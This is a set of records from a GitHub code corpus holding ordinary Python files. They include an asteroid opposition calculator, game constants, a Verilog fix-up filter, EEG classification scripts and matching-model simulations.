Step >1 Day\\nAirmass cutoff = N\\nDaylight cutoff = N\")\n \n # Question to check to see if plots wish to be saved.\n while True:\n save_plot = input(\"Save plot images? (y or n): \")\n save_plot_fir = save_plot[0].lower() \n if save_plot_fir == 'y':\n if mul_q_fir =='m':\n # Second question to confirm when saving multiple plots.\n save_plot = input(\"\"\"\n\\n\\nIf Parsing 1OO's of objects the plot generation will take up storage\nresources and considerably slow the parsing process.\nAre you sure you wish to save plots? y or n: \"\"\" \n)\n save_plot_fir = save_plot[0].lower()\n if save_plot_fir == 'y':\n break\n else:\n print(\"Not saving plots\")\n break\n if save_plot_fir == 'n':\n break\n else:\n print(\"{}Incorrect Character Input\".format(print_break))\n \n file_organizer(mul_q_fir)\n\n\n\ndef file_organizer(multi_single):\n \n # Creats DF with column names for populating.\n opposition_df = pd.DataFrame(columns=column_names) \n\n # Check if Single or multiple objects.\n if multi_single == 'm':\n opposition_df, count, not_tar_count = multi_obj(opposition_df)\n\n \n if multi_single == 's':\n opposition_df, count, not_tar_count = sin_obj(opposition_df)\n\n else:\n print(\"multiple or single answer not defined.\")\n\n # Re-arrange columns since concat screws them up.\n cols = ['targetname', \n 'datetime_str', \n 'V', \n 'RA', \n 'DEC', \n 'delta', \n 'alpha_true',\n 'airmass'\n ]\n \n opposition_df = opposition_df[cols]\n \n # Retrieving line count == Amount of oppositions found.\n total_opp = opposition_df.V.count()\n \n # Re-name columns to include Units.\n col_dict = {\n 'targetname':'Target Name',\n 'datetime_str':'Date-Time (Date__(UT)HR:MN)',\n 'V':'V (mag)',\n 'RA':'RA (deg)',\n 'DEC':'DEC (deg)',\n 'delta':'delta (AU)',\n 'alpha_true':'True Phase Angle (deg)',\n 'airmass': 'airmass'\n }\n \n opposition_df = opposition_df.rename(columns = col_dict)\n \n #Saving final Concatted dataframe to csv.\n opposition_df.to_csv('opposition.csv', index=False)\n \n\n print('''\n\\n\\n{} Opposition Dates have been found in {} ephemeris('s).'''\n .format(total_opp, count))\n\n if not_tar_count != 0:\n print('''{} object(s) ID number's were not found in JPL Horizons database.\n '''.format(not_tar_count))\n\n if total_opp != 0:\n print('''\nOppositions dates have been saved too oppositions.csv within the directory \nfor this program.'''\n)\n else:\n print('No oppositions found with specified parameters.')\n \n \n\ndef obj_query(identifier, \n location, \n start_date, \n stop_date, \n step_size, \n min_mag,\n ):\n \"\"\" Responsible for pulling ephemeris information from JPL Horizons\"\"\"\n\n # Calls object identified with date information from JPL horizons. \n obj = Horizons(id=identifier, location=location,\n epochs={'start':start_date,\n 'stop':stop_date,\n 'step':step_size}, \n )\n\n # Checks if Daylight needs to be skipped\n if skip_day == 'y':\n # Creating Ephemeris without daylight hours\n eph = obj.ephemerides(skip_daylight=True)\n else:\n # Creating ephemeris object at all hours\n eph = obj.ephemerides(skip_daylight=False) \n \n \n # Convert table to pandas dataframe (easier to manipulate).\n eph_df = eph[column_names].to_pandas()\n \n # Removes objects with airmass higher then limit\n if airmass_q == True:\n eph = airmass_limit(eph_df, airmass_lim)\n \n # Check if Plots need to be saved before editing dataframe.\n if save_plot[0].lower() == 'y':\n plotter(eph_df, identifier, min_mag)\n else:\n pass\n \n # Uses find oppositions to find opposition dates.\n min_eph_df = find_oppositions(min_mag, eph_df)\n\n return min_eph_df\n\n\n\ndef multi_obj(opposition_df):\n \n print(\"\"\"\n___________________________\\n\nText file containing object ID's in column required.\"\"\")\n\n # Opens text file with asteroid ID's to parse\n while True:\n # Input for finding file name\n file_name = input(\"\"\"\nInput text file name containing object ID's\nInclude .txt file extension (ex: asteroid.txt): \"\"\")\n \n try:\n # Open file\n with open(file_name, 'r') as target_list:\n targets = target_list.read().split('\\n')\n \n break\n except:\n print('________________________\\nFile not found, check file name.')\n \n # Start new count\n count = 0\n not_tar_count = 0\n \n # check if ID's are number, if not remove them\n for target in targets: \n count=count + 1\n \n try:\n int(target)\n print(\"-- Parsing obj #{}: Object ID: {} --\".format(count, target))\n \n # Retrieving ephemeris from JPL_Horizons and getting local min.\n min_eph_df = obj_query(target, \n location, \n start_date, \n stop_date, \n step_size, \n min_mag\n ) \n # Concat's object to dataframe after each loop\n frames = [opposition_df, min_eph_df]\n opposition_df = pd.concat(frames, sort=True)\n \n except:\n not_tar_count = not_tar_count + 1\n targets.remove(target)\n print(\"\"\"Target with the ID of '{}' removed, as it was not an ID number\"\"\"\n .format(target))\n \n \n return opposition_df, count, not_tar_count\n \n\n \ndef sin_obj(opposition_df):\n \n while True:\n target = input('Input Object Identifier: ')\n print('-- Parsing Obj ID: {} --'.format(target))\n\n # Retrieving ephemeris from JPL_Hor and getting local min.\n try:\n min_eph_df = obj_query(target, \n location, \n start_date, \n stop_date, \n step_size, \n min_mag\n )\n break\n\n except:\n answer = input(\"Not a valid target. Try again? \")\n if answer[0].lower() == 'y':\n continue\n if answer[0].lower() == 'n':\n break\n else:\n continue\n \n frames = [opposition_df, min_eph_df]\n opposition_df = pd.concat(frames)\n \n count = 1\n not_tar_count = 0\n\n return min_eph_df, count, not_tar_count\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"jusgermann/opposition_calculator","sub_path":"opposition_calc/opposition_calc.py","file_name":"opposition_calc.py","file_ext":"py","file_size_in_byte":14060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"25453136358","text":"## @file constants.py\n# File containing game constants\n#\n# Project: Galaga Clone\n# Author: Py Five\n# Created: 10/18/18\n\nfrom pygame.locals import *\n\n\n# Frames Per Second\nFPS = 60\n\n# Colors\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\n# Game Font\nTEXT_SIZE = 25\n\n# Game Menu\nMESSAGE_SIZE = 50\n\n# Window Size\nSCREENRECT = Rect(0, 0, 600, 650)\n\n# Player Speed\nPLAYER_SPEED = 12\nPLAYER_SHOT_ODDS = 25\n\n# Enemy\nENEMY_WIDTH = 28\nENEMY_HEIGHT = 26\nENEMY_ODDS = 48\nMAX_ENEMIES = 300\nENEMY_SHOT_ODDS = 50\nMAX_ENEMY_SHOT = 150\n\n# Shots\nMAX_SHOTS = 5\nSHOT_SPEED = 10\n\n# Level-based properties\nTOTAL_LEVELS = 3\nENEMIES_PER_ROW = [0, 6, 6, 8]\nENEMY_ROWS = [0, 2, 3, 3]\nTOTAL_ENEMIES = [0, 12, 30, 54]\nENEMY_SPEED = [0, 4, 5, 6]\nENEMY_DROP_DIST = [0, 10, 15, 20]\n","repo_name":"kdaigh/gibbonga","sub_path":"data/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"9488766455","text":"#!/usr/bin/env python3\n#\n# fix_verilog ---\n#\n# The script catches an error in the lpflow_bleeder cell where a\n# comment is missing after an `endif.\n#\n# This script is a filter to be run by setting the name of this script as\n# the value to \"filter=\" for the model install in the sky130 Makefile.\n\nimport re\nimport os\nimport sys\n\ndef filter(inname, outname):\n\n # Read input\n try:\n with open(inname, 'r') as inFile:\n vtext = inFile.read()\n vlines = vtext.splitlines()\n except:\n print('fix_verilog.py: failed to open ' + inname + ' for reading.', file=sys.stderr)\n return 1\n\n # Check if input file is a base cell or strength-specific cell, and\n # check if it has a \"specify\" block file. To enable this, change\n # dospecify from False to True.\n dospecify = False\n\n # Process input with regexp\n\n fixedlines = []\n modified = False\n endifrex = re.compile('[ \\t]*`endif[ \\t]+SKY')\n\n for line in vlines:\n ematch = endifrex.match(line)\n if ematch:\n fixedlines.append(line.replace('endif SKY', 'endif // SKY'))\n modified = True\n else:\n fixedlines.append(line)\n\n # Write output\n if outname == None:\n for i in fixedlines:\n print(i)\n else:\n # If the output is a symbolic link but no modifications have been made,\n # then leave it alone. If it was modified, then remove the symbolic\n # link before writing.\n if os.path.islink(outname):\n if not modified:\n return 0\n else:\n os.unlink(outname)\n try:\n with open(outname, 'w') as outFile:\n for i in fixedlines:\n print(i, file=outFile)\n except:\n print('fix_verilog.py: failed to open ' + outname + ' for writing.', file=sys.stderr)\n return 1\n\n\nif __name__ == '__main__':\n\n # This script expects to get one or two arguments. One argument is\n # mandatory and is the input file. The other argument is optional and\n # is the output file. The output file and input file may be the same\n # name, in which case the original input is overwritten.\n\n options = []\n arguments = []\n for item in sys.argv[1:]:\n if item.find('-', 0) == 0:\n options.append(item[1:])\n else:\n arguments.append(item)\n\n if len(arguments) > 0:\n infilename = arguments[0]\n\n if len(arguments) > 1:\n outfilename = arguments[1]\n else:\n outfilename = None\n\n result = filter(infilename, outfilename)\n sys.exit(result)\n","repo_name":"robinmtsang/open_pdks","sub_path":"sky130/custom/scripts/fix_verilog.py","file_name":"fix_verilog.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"43073822688","text":"\"\"\"Setup for E2E tests.\"\"\"\nimport os\nimport time\nfrom src.spotify import get_refresh_token\nfrom src.application import app\n\napp = app\n\nrefresh_token = os.environ.get('REFRESH_TOKEN')\n\ntoken = get_refresh_token(refresh_token)\n\n\ndef set_up_session(client):\n with client.session_transaction() as session:\n session['token'] = token\n session['country'] = 'BG'\n session['token_time'] = time.time()\n session['progress'] = 123\n session['uri'] = 'test'\n","repo_name":"PavelPashov/lyricspot","sub_path":"tests/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"1061558668","text":"import numpy as np\nimport random\nimport matplotlib.pyplot as plt\nfrom sklearn.svm import SVC\nfrom sklearn.decomposition import PCA\n\n# Read in the input\nprint(\"Reading the CSV file\")\ndef load_data():\n train_data = np.genfromtxt('mental-state.csv', dtype=np.float32, delimiter=',')\n X_raw = train_data[:, :-1].astype(np.float32)\n y = train_data[:, -1].astype(np.int32)\n return X_raw, y\n\n[X_raw,y] = load_data()\nprint(X_raw, y)\nprint((\"Number of samples before removing class 1: \" + str(X_raw.shape[0])))\n\n#Remove one class label to make it binary\nX_raw = np.delete(X_raw, np.where((y==1)), axis=0)\ny = np.delete(y, np.where((y==1)), axis=0)/2\n\nprint(X_raw, y)\nprint((\"Number of samples after removing class 1: \" + str(X_raw.shape[0])))\n\n#Remove the infinity values\nX_raw[np.where(np.isinf(X_raw))] = 0\n\n'''\ndef load_data():\n data_train = np.genfromtxt('mental.csv',\n dtype=np.float64, delimiter=',',\n usecols=np.arange(0,2549))\n #data_test = np.genfromtxt('test.csv', dtype=np.float64, delimiter=',')\n #'test_x': data_test[:, :-1].astype(np.float64),\n #'test_y': data_test[:, -1].astype(np.int64),\n\n return {\n 'all': data_train,\n 'train_x': data_train[:, :-1],\n 'train_y': data_train.transpose()[-1],\n }\n\nimport numpy as np\nfrom scipy import stats\n\n\nmental = load_data()\ntrain_all_data = mental['all']\ntrain_x_data = mental['train_x']\n#print(len(train_x_data[0] ))\ntrain_x_data_copy = np.copy(train_x_data)\ntrain_x_data_copy = train_x_data_copy.transpose()\ntrain_y_data = mental['train_y']\n#print(train_y_data,train_x_data_copy[1])\nbenchmark = 0.3\ncorrlations = stats.pearsonr(train_x_data_copy[0], train_y_data)[0]\nidx = np.array([])\nfor i in range(len(train_x_data_copy)):\n this_col = stats.pearsonr(train_x_data_copy[i], train_y_data)[0]\n if this_col >= benchmark:\n idx = np.append(idx, [i])\nidx = np.append(idx, [-1]).astype(int)\n#print(idx)\n\nx = train_all_data[:,idx]\nnp.savetxt('mental_clean.csv', x, delimiter=',', fmt='%s')\n'''\n\n# Do PCA\n#pca = PCA(n_components=30)\n#pca.fit(X_raw)\n#X = pca.transform(X_raw)\nX = X_raw\n\n# Split the data into test and train data\ntest_pcnt = 0.15\nX_train = X[:int(len(X)*(1-test_pcnt)),:]\nX_test = X[int(len(X)*(1-test_pcnt)):,:]\ny_train = y[:int(len(X)*(1-test_pcnt))]\ny_test = y[int(len(X)*(1-test_pcnt)):]\n\nprint(X_test)\n\n#Gamma Series\ngammas = np.array([10**(i) for i in range (0,-20,-1)])\n#SVM Using rbf Kernel Function, test on different gamma values\ntrain_error = np.array([])\ntest_error = np.array([])\n\nfor gamma in gammas:\n mental_svm = SVC(gamma=300, kernel = 'rbf')\n mental_svm.fit(X_train, y_train)\n\n train_result = mental_svm.predict(X_train)\n print(train_result)\n train_false = (train_result != y_train)\n train_error_rate = np.sum(train_false)/len(train_false)\n train_error = np.append(train_error, [train_error_rate])\n print(\"Train error:\", train_error_rate)\n\n test_result = mental_svm.predict(X_test)\n print(test_result)\n test_correct = (test_result == y_test)\n test_error_rate = float(len(test_correct[test_correct == False]))/len(test_correct)\n print(gamma)\n test_error = np.append(test_error, [test_error_rate])\n","repo_name":"Merterm/Semi-Supervised-EEG","sub_path":"semi-svm/pseudo_labeling.py","file_name":"pseudo_labeling.py","file_ext":"py","file_size_in_byte":3229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"16571033468","text":"import curses\n\n\ndef main(stdscr):\n curses.curs_set(0)\n curses.mousemask(1)\n curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_RED)\n curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_GREEN)\n\n stdscr.addstr(0, 0, \"Hello!\")\n stdscr.addstr(1, 0, \"Red\")\n stdscr.addstr(2, 0, \"Green\")\n while 1:\n\n b, a = stdscr.getmaxyx()\n key = stdscr.getch()\n if key == curses.KEY_RESIZE:\n curses.resizeterm(*stdscr.getmaxyx())\n b, a = stdscr.getmaxyx()\n # stdscr.clear()\n # stdscr.refresh()\n\n if key == curses.KEY_MOUSE:\n _, x, y, _, _ = curses.getmouse()\n stdscr.addstr(b - 1, 0, \"({}, {})\".format(y, x))\n if y == 1 and x in range(3):\n stdscr.attron(curses.color_pair(1))\n stdscr.addstr(0, 0, \"Hello!\")\n stdscr.attroff(curses.color_pair(1))\n elif y == 2 and x in range(5):\n stdscr.attron(curses.color_pair(2))\n stdscr.addstr(0, 0, \"Hello!\")\n stdscr.attroff(curses.color_pair(2))\n elif key == 27:\n break\n\n stdscr.refresh()\n\n\ncurses.wrapper(main)\n","repo_name":"Jspriddy/Pycharm-projects","sub_path":"curses/mouse_event.py","file_name":"mouse_event.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"31140425820","text":"# file: summer_serial.py\nimport time\nfrom summer import my_summer\n\nbegin = time.time()\nthreads = []\n\nfor i in range(10):\n my_summer(0, 5000000)\n\nprint (\"Time: %f\"%(time.time() - begin))\n","repo_name":"rabiyaneuro/backup-from-scinet","sub_path":"Other/summer_school_18/parallel_python/code/summer_serial.py","file_name":"summer_serial.py","file_ext":"py","file_size_in_byte":189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13865366911","text":"import os\nimport sys\nimport getopt\nimport csv\n\ntry:\n opts, args = getopt.getopt(sys.argv[1:], \"hf:\", [\"file\"])\nexcept getopt.GetoptError:\n print('csv_to_cpp.py -f ')\n sys.exit(2)\nfor opt, arg in opts:\n if opt == '-h':\n print('csv_to_cpp.py -f ')\n sys.exit()\n elif opt in (\"-f\", \"--file\"):\n path = arg\n # elif opt in (\"-p\", \"--prefix\"):\n # prefix = arg\n # elif opt in (\"-s\", \"-sufix\"):\n # sufix = arg\n\n\nf = open(\"out.cpp\", \"w\")\n\nprefix = 'this->_inventory.insert(std::pair(\"'\nsufix = '));'\nwith open(path, newline=\"\") as file:\n reader = csv.reader(file, delimiter=\",\", quotechar=\"|\")\n next(reader)\n for row in reader:\n if row[0] != \"\":\n f.write(\"\\n// \"+row[0]+\"\\n\")\n f.write(prefix + row[1] + '\", ' + row[2] + sufix + \"\\n\")\n","repo_name":"Asiern/ReplicantHook","sub_path":"Scripts/csv_to_cpp.py","file_name":"csv_to_cpp.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"}
+{"seq_id":"9894843522","text":"import tensorflow as tf\nimport pandas as pd\nimport numpy as np\nimport csv\nfrom joblib import dump, load\nfrom sklearn.model_selection import train_test_split\n\n\n#Remember to adjust the paths before running the program.\ndata_path = \"E:\\\\College\\\\Graduation Project\\\\Dataset\\\\DEAP Dataset\\\\data_preprocessed_python\\\\data\\\\augmentedData\\\\\"\nlog_path = \"Logs\\\\\"\ndata_to_be_read = 3\n\ndef get_model():\n model = tf.keras.models.Sequential()\n model.add(tf.keras.layers.Conv2D(filters=64, kernel_size=(3, 3), input_shape=input_shape))\n model.add(tf.keras.layers.BatchNormalization())\n model.add(tf.keras.layers.Activation(tf.keras.activations.relu))\n model.add(tf.keras.layers.Conv2D(filters=32, kernel_size=(3, 3)))\n model.add(tf.keras.layers.BatchNormalization())\n model.add(tf.keras.layers.Activation(tf.keras.activations.relu))\n model.add(tf.keras.layers.Conv2D(filters=16, kernel_size=(3, 3)))\n model.add(tf.keras.layers.BatchNormalization())\n model.add(tf.keras.layers.Activation(tf.keras.activations.relu))\n model.add(tf.keras.layers.Conv2D(filters=8, kernel_size=(5, 5)))\n model.add(tf.keras.layers.BatchNormalization())\n model.add(tf.keras.layers.Activation(tf.keras.activations.relu))\n model.add(tf.keras.layers.Flatten())\n model.add(tf.keras.layers.Dropout(0.5))\n model.add(tf.keras.layers.Dense(2, activation='softmax'))\n return tf.keras.models.clone_model(model)\n\ndef read_convert_output(file_name):\n data = []\n with open(file_name) as f:\n reader = csv.DictReader(f) # read rows into a dictionary format\n for row in reader: # read a row as {column1: value1, column2: value2,...}\n temp = list(row.values())\n temp = [float(i) for i in temp]\n temp2 = temp[0]\n if temp2 >= 5:\n data.append([1,0])\n else:\n data.append([0,1])\n data=np.array(data)\n return data\n\ndef convert_x_dimensions(input,itr):\n output = np.transpose(input, (1, 0, 2))\n current_x = output[itr]\n current_x = np.expand_dims(current_x, axis=1)\n current_x = np.transpose(current_x, (0, 2, 1))\n return current_x\n\ndef convert_y_dimensions(input):\n current_y = np.expand_dims(input, axis=0)\n return np.transpose(current_y)\n\ndef read_input(start, end):\n output_data = []\n for i in range(start, end):\n sess_data = []\n for j in range(1,13):\n name = data_path + 'sess' + str(i).zfill(4) + '_electrode' + str(j).zfill(2) + '.csv'\n print(name)\n itr = 0\n with open(name) as f:\n data = csv.DictReader(f)\n electrode = []\n for row in data:\n temp = list(row.values())\n temp = [float(i) for i in temp]\n electrode.append(temp.copy())\n itr += 1\n if itr % (data_to_be_read+1) == 0:\n break\n sess_data.append(electrode)\n output_data.append(sess_data)\n return output_data\n\ntest_x_0 = []\ntest_x_1 = []\ntest_y_0 = []\ntest_y_1 = []\n\n\ninput_shape = (12, 8064, 4)\n\n\n\nprint('Getting models')\ncnn_valence_model = get_model()\ncnn_valence_model.build((None, input_shape))\ncnn_valence_model.compile(loss=tf.keras.losses.CategoricalCrossentropy(),\n optimizer=tf.keras.optimizers.RMSprop(),\n metrics=['acc'])\n\ncnn_arousal_model = get_model()\ncnn_arousal_model.build((None, input_shape))\ncnn_arousal_model.compile(loss=tf.keras.losses.CategoricalCrossentropy(),\n optimizer=tf.keras.optimizers.RMSprop(),\n metrics=['acc'])\n\nprint('Before reading Logits')\nY0_main = read_convert_output('label0.csv')\nY1_main = read_convert_output('label1.csv')\n\nX0_testList = []\nY0_testList = []\n\nX1_testList = []\nY1_testList = []\n\n\n\nstep = 40\n\nvalencies = []\narousals = []\n\nfor i in range(1,33):\n start = (i - 1) * step + 1\n end = i * step + 1\n print('Before reading input')\n X = np.array(read_input(start, end))\n X = np.transpose(X, (0, 1, 3, 2))\n\n print('Before splitting')\n X0_train, X0_test, Y0_train, Y0_test = train_test_split(X, Y0_main[start - 1: end - 1],\n random_state=1, test_size=0.2,\n stratify=Y0_main[start - 1: end - 1])\n\n X1_train, X1_test, Y1_train, Y1_test = train_test_split(X, Y1_main[start - 1: end - 1],\n random_state=1, test_size=0.2,\n stratify=Y0_main[start - 1: end - 1])\n X0_testList.append(X0_test)\n Y0_testList.append(Y0_test)\n X1_testList.append(X1_test)\n Y1_testList.append(Y1_test)\n\n '''######NOTE THAT:\n To use callbacks you will need to uncomment the next line \n and add to every fit function the parameter: callbacks = [callback]\n '''\n\n # callback = tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=7, restore_best_weights=True)\n\n cnn_valence_model.fit(X0_train, Y0_train, epochs=50, batch_size=10, verbose=1,\n validation_data=(X0_test, Y0_test))\n cnn_arousal_model.fit(X1_train, Y1_train, epochs=50, batch_size=10, verbose=1,\n validation_data=(X1_test, Y1_test))\n\n\n\nfor i in range(len(X0_testList)):\n print('Valence of test ' + str(i))\n valencies.append(cnn_valence_model.evaluate(X0_testList[i], Y0_testList[i])[1])\n print(str(valencies[i]))\nfor i in range(len(X1_testList)):\n print('Arousal of test ' + str(i))\n arousals.append(cnn_arousal_model.evaluate(X1_testList[i], Y1_testList[i])[1])\n print(str(arousals[i]))\n","repo_name":"PolaPFA/SAEEG","sub_path":"DeepLearning-Approach1/Raw+Aug_CNN1Model.py","file_name":"Raw+Aug_CNN1Model.py","file_ext":"py","file_size_in_byte":5780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"28190900105","text":"import dataclasses as dc\nimport multiprocessing as mp\nimport pickle\nimport time\nfrom multiprocessing.pool import ThreadPool as Pool\nfrom typing import List, Tuple\n\nimport numpy as np\nfrom cupid_matching.choo_siow import (entropy_choo_siow,\n entropy_choo_siow_corrected)\nfrom cupid_matching.entropy import EntropyFunctions\nfrom cupid_matching.matching_utils import Matching\nfrom cupid_matching.min_distance import estimate_semilinear_mde\nfrom cupid_matching.model_classes import ChooSiowPrimitives\nfrom cupid_matching.poisson_glm import choo_siow_poisson_glm\n\nfrom rev1_simuls.config import (age_end, age_start, degrees, do_simuls_mde,\n do_simuls_poisson, model_name, n_sim,\n plot_simuls, renormalize_true_coeffs,\n sample_size, shrink_factor, use_mde_correction,\n zero_guard)\nfrom rev1_simuls.plots import plot_simulation_results\nfrom rev1_simuls.read_data import prepare_data_cupid\nfrom rev1_simuls.simulate import _run_simul\nfrom rev1_simuls.specification import make_bases_cupid\nfrom rev1_simuls.utils import (VarianceMatching, data_dir, print_quantiles,\n results_dir)\n\n\ndef name_and_pickle_primitives(\n mus: Matching, varmus: VarianceMatching, base_functions: np.ndarray\n) -> str:\n \"\"\"pickles the population matching, its variance, and the base functions,\n and creates a qualified name\n\n Args:\n mus: the population Matching\n varmus: the corresponding variances\n base_functions: the values of the base functions\n\n Returns:\n the qualified name\n \"\"\"\n full_model_name = f\"{model_name}_{sample_size}\"\n if shrink_factor != 1:\n full_model_name = f\"{full_model_name}_f{shrink_factor}\"\n if use_mde_correction:\n full_model_name = f\"{full_model_name}_corrected\"\n if (age_start > 16) or (age_end < 40):\n full_model_name = f\"{full_model_name}_a{age_start}_{age_end}\"\n with open(\n data_dir / f\"{full_model_name}_mus_{zero_guard}.pkl\",\n \"wb\",\n ) as f:\n pickle.dump(mus, f)\n with open(data_dir / f\"{full_model_name}_varmus.pkl\", \"wb\") as f:\n pickle.dump(varmus, f)\n with open(data_dir / f\"{full_model_name}_base_functions.pkl\", \"wb\") as f:\n pickle.dump(base_functions, f)\n return full_model_name\n\n\ndef estimate_original(\n full_model_name: str,\n entropy: EntropyFunctions,\n mus: Matching,\n base_functions: np.ndarray,\n) -> Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray]:\n \"\"\"estimates Choo and Siow on the original data\n\n Args:\n full_model_name: the qualified name\n mus: the population Matching\n base_functions: the values of the base functions\n\n Returns:\n the estimated coefficients, their estimated variance,\n their estimated standard errors, and the estimated joint surplus\n \"\"\"\n if do_simuls_mde:\n mde_results = estimate_semilinear_mde(mus, base_functions, entropy)\n estim_Phi = mde_results.estimated_Phi\n estim_coeffs = mde_results.estimated_coefficients\n varcov_coeffs = mde_results.varcov_coefficients\n std_coeffs = mde_results.stderrs_coefficients\n else:\n poisson_results = choo_siow_poisson_glm(mus, base_functions)\n estim_Phi = poisson_results.estimated_Phi\n estim_coeffs = poisson_results.estimated_beta\n var_gamma = poisson_results.variance_gamma\n n_bases = base_functions.shape[2]\n varcov_coeffs = var_gamma[-n_bases:, -n_bases:]\n std_coeffs = np.sqrt(np.diag(varcov_coeffs))\n print(\"original estimates:\")\n for base_name, coeff, stderr in zip(base_names, estim_coeffs, std_coeffs):\n print(f\"{base_name: <15}: {coeff: >10.3f} ({stderr: >10.3f})\")\n\n if shrink_factor != 1:\n # experiment with smaller Phi\n estim_Phi /= shrink_factor\n estim_coeffs /= shrink_factor\n varcov_coeffs /= shrink_factor * shrink_factor\n std_coeffs /= shrink_factor\n\n if renormalize_true_coeffs:\n n_bases = base_functions.shape[2]\n for i_base in range(n_bases):\n base_functions[:, :, i_base] *= estim_coeffs[i_base]\n estim_coeffs1 = 1.0 / estim_coeffs\n varcov_coeffs = varcov_coeffs * np.outer(estim_coeffs1, estim_coeffs1)\n std_coeffs *= np.abs(estim_coeffs1)\n estim_coeffs = np.ones(n_bases)\n\n if do_simuls_mde:\n mde_true = dc.replace(\n mde_results,\n estimated_coefficients=estim_coeffs,\n varcov_coefficients=varcov_coeffs,\n stderrs_coefficients=std_coeffs,\n )\n print(mde_true)\n with open(data_dir / f\"{full_model_name}_mde_true.pkl\", \"wb\") as f:\n pickle.dump(mde_true, f)\n\n elif do_simuls_poisson:\n poisson_true = dc.replace(\n poisson_results,\n estimated_beta=estim_coeffs,\n variance_gamma=varcov_coeffs,\n stderrs_beta=std_coeffs,\n )\n print(poisson_true)\n with open(data_dir / f\"{full_model_name}_poisson_true.pkl\", \"wb\") as f:\n pickle.dump(poisson_true, f)\n\n return estim_coeffs, varcov_coeffs, std_coeffs, estim_Phi\n\n\nif __name__ == \"__main__\":\n do_both = do_simuls_mde and do_simuls_poisson\n\n mus, varmus = prepare_data_cupid(sample_size)\n muxy, mux0, mu0y, nx, my = mus.unpack()\n n_households_obs = np.sum(nx) + np.sum(my) - np.sum(muxy)\n base_functions, base_names = make_bases_cupid(nx, my, degrees)\n n_bases = len(base_names)\n full_model_name = name_and_pickle_primitives(mus, varmus, base_functions)\n entropy = (\n entropy_choo_siow_corrected\n if use_mde_correction\n else entropy_choo_siow\n )\n (\n estim_coeffs,\n varcov_coeffs,\n std_coeffs,\n estim_Phi,\n ) = estimate_original(full_model_name, entropy, mus, base_functions)\n\n # we use the Phi and the margins we got from the Cupid dataset\n choo_siow_true = ChooSiowPrimitives(estim_Phi, nx, my)\n\n with open(data_dir / f\"{full_model_name}_phi_true.pkl\", \"wb\") as f:\n pickle.dump(estim_Phi, f)\n\n # generate random seeds\n rng = np.random.default_rng(130962)\n seeds = rng.integers(100_000, size=n_sim)\n verbose = 0\n\n # run simulation\n list_args = [\n [\n i_sim,\n seeds[i_sim],\n choo_siow_true,\n n_households_obs,\n base_functions,\n entropy,\n zero_guard,\n do_simuls_mde,\n do_simuls_poisson,\n verbose,\n ]\n for i_sim in range(n_sim)\n ]\n nb_cpus = mp.cpu_count() - 2\n start_simuls = time.time()\n with Pool(nb_cpus) as pool:\n results = pool.starmap(_run_simul, list_args)\n end_simuls = time.time()\n\n # unpack simulation results\n if do_both:\n estim_coeffs_mde = np.zeros((n_sim, n_bases))\n estim_coeffs_poisson = np.zeros((n_sim, n_bases))\n for i_sim in range(n_sim):\n estim_coeffs_mde[i_sim, :] = results[i_sim][0][0]\n estim_coeffs_poisson[i_sim, :] = results[i_sim][0][1]\n simul_results = {\n \"Base names\": base_names,\n \"Base functions\": base_functions,\n \"True coeffs\": estim_coeffs,\n \"MDE\": estim_coeffs_mde,\n \"Poisson\": estim_coeffs_poisson,\n }\n elif do_simuls_mde:\n estim_coeffs_mde = np.zeros((n_sim, n_bases))\n for i_sim in range(n_sim):\n estim_coeffs_mde[i_sim, :] = results[i_sim][0]\n simul_results = {\n \"Base names\": base_names,\n \"Base functions\": base_functions,\n \"True coeffs\": estim_coeffs,\n \"MDE\": estim_coeffs_mde,\n }\n elif do_simuls_poisson:\n estim_coeffs_poisson = np.zeros((n_sim, n_bases))\n for i_sim in range(n_sim):\n estim_coeffs_poisson[i_sim, :] = results[i_sim][0]\n simul_results = {\n \"Base names\": base_names,\n \"Base functions\": base_functions,\n \"True coeffs\": estim_coeffs,\n \"Poisson\": estim_coeffs_poisson,\n }\n simul_results[\"Cupid stderrs\"] = std_coeffs\n simul_results[\"Cupid varcov\"] = varcov_coeffs\n phi_nonparam = np.zeros((n_sim, nx.size, my.size))\n for isim in range(n_sim):\n phi_nonparam[isim, :, :] = results[isim][1]\n simul_results[\"Phi non param\"] = phi_nonparam\n\n # and save them\n with open(\n results_dir / f\"{full_model_name}_{zero_guard}.pkl\",\n \"wb\",\n ) as f:\n pickle.dump(simul_results, f)\n\n if plot_simuls:\n plot_simulation_results(\n full_model_name,\n n_sim,\n zero_guard,\n do_simuls_mde=do_simuls_mde,\n do_simuls_poisson=do_simuls_poisson,\n )\n\n seed = 75694\n mus_sim = choo_siow_true.simulate(n_households_obs, seed=seed)\n quantiles = np.arange(10, 30) / 100.0\n print(\"Quantiles of population and simulated mus:\")\n print_quantiles([mus.muxy.flatten(), mus_sim.muxy.flatten()], quantiles)\n print(\n f\"Numbers of marriages: {np.sum(mus.muxy)} and {np.sum(mus_sim.muxy)}\"\n )\n print(\n f\"\\n\\n**** {n_sim} simulations took {end_simuls - start_simuls: >10.3f} seconds on {nb_cpus} CPUs****\"\n 